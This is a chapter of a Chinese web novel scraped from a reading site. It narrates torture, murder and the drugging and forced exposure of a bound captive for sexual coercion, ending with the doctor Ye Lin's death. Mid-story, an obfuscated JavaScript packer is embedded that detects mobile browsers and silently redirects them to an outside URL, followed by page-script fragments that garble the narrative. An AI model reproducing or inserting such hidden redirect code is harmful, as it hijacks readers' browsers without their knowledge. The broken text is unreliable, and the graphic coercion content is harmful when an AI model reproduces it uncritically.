默认冷灰
24号文字
方正启体

18. 第 18 章

作者:粼巜本书字数:K更新时间:
    由于冯既坚持不肯告知叶霖的情况,黎玘与他僵持了数日。


    又开始不吃不喝了。


    任凭冯既如何讨好,都得不到半分理睬。


    冯既被对方翻脸无情的样子刺痛了心,便更加仇恨叶霖。


    ……


    “如何了,他怎么说?”


    议事堂内,冯既坐在椅上,两个指尖敲击着桌面,状似漫不经心地问。


    手下颤颤回道:“小的已让人用尽酷刑,可叶大夫他……”


    冯既沉着脸替其补充:“他打死也不愿为我制药,是吧?”


    手下点了点头:“……是。”


    “既然不能为我所用,那留着他也没意思了。”冯既凉凉道,“是他自己不惜命,怨不得我。”


    手下听得冷汗直冒。


    虽说要被杀的人不是他,但他站在冯既面前也十分害怕。


    冯既忽道:“去把他带过来。”


    手下愣了愣,连忙答是,快速从堂内奔了出去。


    冯既则单手撑额,垂着眼,任由思绪放空了一会儿。


    很快,又有人走进来向他回禀要事。


    “主子,抚州那边我已让人买通看守牢房的狱卒,将被抓的那几个人全部毒死了。就连负责买通狱卒的人,我也在完事后立即将其处死。即便日后有人查到狱卒身上,也审不出什么,您从此可以高枕无忧。”


    “高枕无忧……”


    冯既笑着站起身来,一步一步走向这名心腹:“你都还没死,我怎能高枕无忧?”


    “主子——”


    对方还未来得及反应,就被他袖中推出的刀刃割破了喉咙。


    直至捂颈倒地时,心腹仍用不可置信的目光望着冯既。


    只见冯既从桌上拿起帕子擦了擦小刀上的血迹,言语冷酷道:“我这样杀人,你应该见过许多次了,怎么也不防着点?”


    对方已在垂死边缘,无力答话。


    冯既又叹气说:“你办事确实让人省心,可你不该背着我去收黎家的债。是贪财害了你。你可知,钱财事小,黎玘事大……任何可能导致我失去他的事,我都不能容忍。”


    心腹始终睁大眼睛看着他,死不瞑目。


    冯既闭了闭眼,命人将其厚葬。


    .


    一个时辰后。


    浑身是伤的叶霖被拖进黎玘房中。


    两名身高体壮的匪人将他重重扔在了地上,脸恰好扑在冯既脚边。


    他的两条手臂被反捆得像螃蟹一般,挣扎了几下都未能起身。


    “冯既……”


    叶霖吃力地扬起头,见冯既一人坐在榻前,身后的床幔却是垂闭得严丝合缝,除了一道跪在里面的纤瘦身影,什么也瞧不见。


    “你要做什么?!”


    叶霖颈上起筋,顶着一脸伤痕怒问冯既。


    “为何如此激动,”冯既阴冷地笑道,“我这不是大发慈悲,施舍你们见最后一面吗。”


    说着,冯既略略侧头,瞥了眼帐中的人影,又继续道:“我这少爷可是想你想得厉害,天天绝食逼我把你交出来,实在令我耗尽了耐心……”


    话声戛然而止,冯既突然伸手挑开了帐子。


    这个举动太过残忍。


    几乎把黎玘仅剩的一点尊严碾得粉碎。


    叶霖看见,黎玘羞红了脸跪在榻中,双手被吊了起来,腿也被分开牢牢固定住,想躲不能躲,想缩不能缩,只能在完全受制的局面下,将自己一览无余地展示在人前。


    冯既一件衣服也没给他穿。


    叶霖慌忙错开眼,不想加重黎玘的难堪。


    冯既却揪住他的衣领,将他提到榻边死死摁住,掌心强抵起他的额头,逼迫他抬头看。


    “好看吗?”


    冯既笑得丧心病狂,“可惜是我的。”


    叶霖双眼怒红,朝冯既愤愤吼道:“你放开他!”


    “放开他?!”冯既摇了摇头,“我灶都点燃了,你还妄想让我把米倒回去?”


    叶霖听他这么说,心猛地一紧。


    又见黎玘渐渐表现出异常,不仅隐忍着咬破了唇,身子竟也莫名扭动起来,做出不符合其本人的媚态。


    一些细碎的低吟也从齿间冒了出来。


    叶霖愤然瞪向冯既:“你对他做了什么!”


    冯既没有马上回答,而是先掰开黎玘的嘴,置入一个布团,防止其进一步咬伤自己。


    然后才缓缓转头对叶霖道:“你是大夫,这都看不出来吗?”


    “我给他吃了一颗好东西。”冯既无耻地说,“他纵是再有定力、再有骨气,也扛不住这药效。你看,他都会取悦人了,哼哼唧唧的,叫得多好听……”


    讲话间,冯既神态骤然变得有些恍惚。


    他说:


    “我曾无数次幻想自己真正得到他的场景,却怎么也没料到,居然是以今日这种方式。”


    “虽觉遗憾,但有你亲眼见证我与他的‘夫妻之实’,将来偶尔想起,也不失为一段特别的记忆。”


    “今日之后,一切都会成为定局,他将彻底属于我……”


    叶霖的话如同一盆冷水浇在他头上:“冯既,若你今日真的这么做了,便等同于要他的命。”


    冯既闻言一震。


    叶霖接着道:“别以为他失了身就会从此屈服于你,他是何心气,你难道不知?还是明知也要一试?拿他的命去博一个你想要的结果?”


    冯既微微收紧十指,心虚地扭开头,似已进入反思状态。


    叶霖见他难掩恐慌,趁机道:“都已到了这一步,总归是难以收场了,不如让我教你一个妥善的法子吧。”


    “……什么法子?”


    冯既将信将疑,不自觉向对方靠近了些。


    叶霖也尽量直起身来,缩小他与冯既之间的距离。


    “快说!”


    冯既已生悔意,便着急催道。


    叶霖有意吊着他,语气不紧不慢:“我虽不懂失忆药怎么制,可却知晓一个简单粗暴的办法,轻易就能将人变成一个无忧无虑的傻子。”


    “……傻子?”冯既眼里亮了亮,心动又提防地问:“你又想耍什么花样?”


    “你看我还能耍什么花样?”叶霖苦笑着贴近他的耳朵,“活着总比死了好。我想要他活着。……你只需取来银针,按我说的这些穴位,依次扎进去——”


    冯既逐渐放松警惕,主动低头俯就,想听得仔细些。


    倏然,<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320907|199046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    叶霖一口咬住了他的颈子。


    冯既吃痛,急忙推了一把,怎料叶霖咬得太紧,他竟没能推开。


    哪怕他拳打脚踢,叶霖也死咬着不肯松口,仿佛山狼叼住猎物一般,不死不休。


    感觉到颈上有大量液体流出,求生欲促使冯既急中生智,迅速掏出身上的小刀,狠狠刺入叶霖的心脏。


    利刃入体,发出一声闷响的刹那间,叶霖的牙齿才蓦地一松。


    冯既抬脚踹开他时,他仍咬住一块皮,硬生生撕了下来。


    冯既痛得叫出声来。


    还未缓解分毫,便见叶霖倒在地上,唇上沾着血,朝他冷笑。


    “你口口声声说爱黎玘,却根本不了解他。”


    叶霖声音微弱,“我与他相识不足一月,都知他心地柔软,实难狠下心肠去杀谁……你却言之凿凿,说他指使别人取你性命……那么长时间,你就没有怀疑过,他到底有没有那样做?”


    最后一句话,如奔雷炸响在冯既耳畔。


    冯既惊睁双目,心慌万状,左右摆头,手足无措。


    见他如此,叶霖心下略宽,强撑气力道:“如果你还有一丁点良心,就立刻放了他。”


    短短一瞬间,冯既眼中已布满血丝,复杂的泪水充斥着眼眶,几度张口,却觉喉间发堵,半晌说不出话。


    叶霖奄奄一息之际,忽然对上黎玘的视线。


    他看到黎玘此时正用力扯动绳索,脸颊上淌着一行泪,似乎是心急想救他。


    见黎玘到此刻仍保留着一丝清醒,叶霖悲喜交加。


    他含笑望向黎玘,撑着仅存的一口气,向对方袒露心意:


    “我……我喜欢你。”


    “但我和他不一样。”


    “你不要厌恶我……”


    尾字刚落,叶霖便脱力般头垂于地,断了气。


    黎玘痛苦万分,因满心歉疚而呜咽不止。


    冯既看得心如刀割,忙上前解开黎玘,脱下宽大的袍子将其裹住,抱进怀里。


    又从腰间拿出解药,喂进黎玘嘴里。


    黎玘这几日本就进食极少,体力虚弱,眼下又悲痛过度,直直哭到喘不过气。


    加之药力正盛,他哭得眉眼愈发可怜,像一个不懂忍抑的小孩子,不管不顾,任性地哭个不住,将自己噎了一次又一次。


    冯既抚摸着他红红的眼圈,心揪得生疼:“对不起……我不敢了,我再也不敢了。”


    解药生效尚需时间,黎玘体内的药性已发作至顶峰,此时此刻全然丧失了理智,竟把脸埋进冯既怀中,不停地蹭着冯既的心口,做出求欢的举动。


    冯既目色一滞,脸上全无喜色,反而流露出悲哀。


    这不是他想要的。


    受药力支配的黎玘已失去主体意识,与一具行尸走肉没有区别。


    他要的,是活生生的黎玘。


    是有原则、有情绪的黎玘。


    不是被抽去灵魂的黎玘。


    ……


    最终冯既忍下欲念,伸指点了黎玘的昏穴,将人搁进被窝里。


    他则颓然起身,一步一踉跄地踏出了屋子。


    片刻后,便有两个人走了进来,合力抬走了叶霖的尸体。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)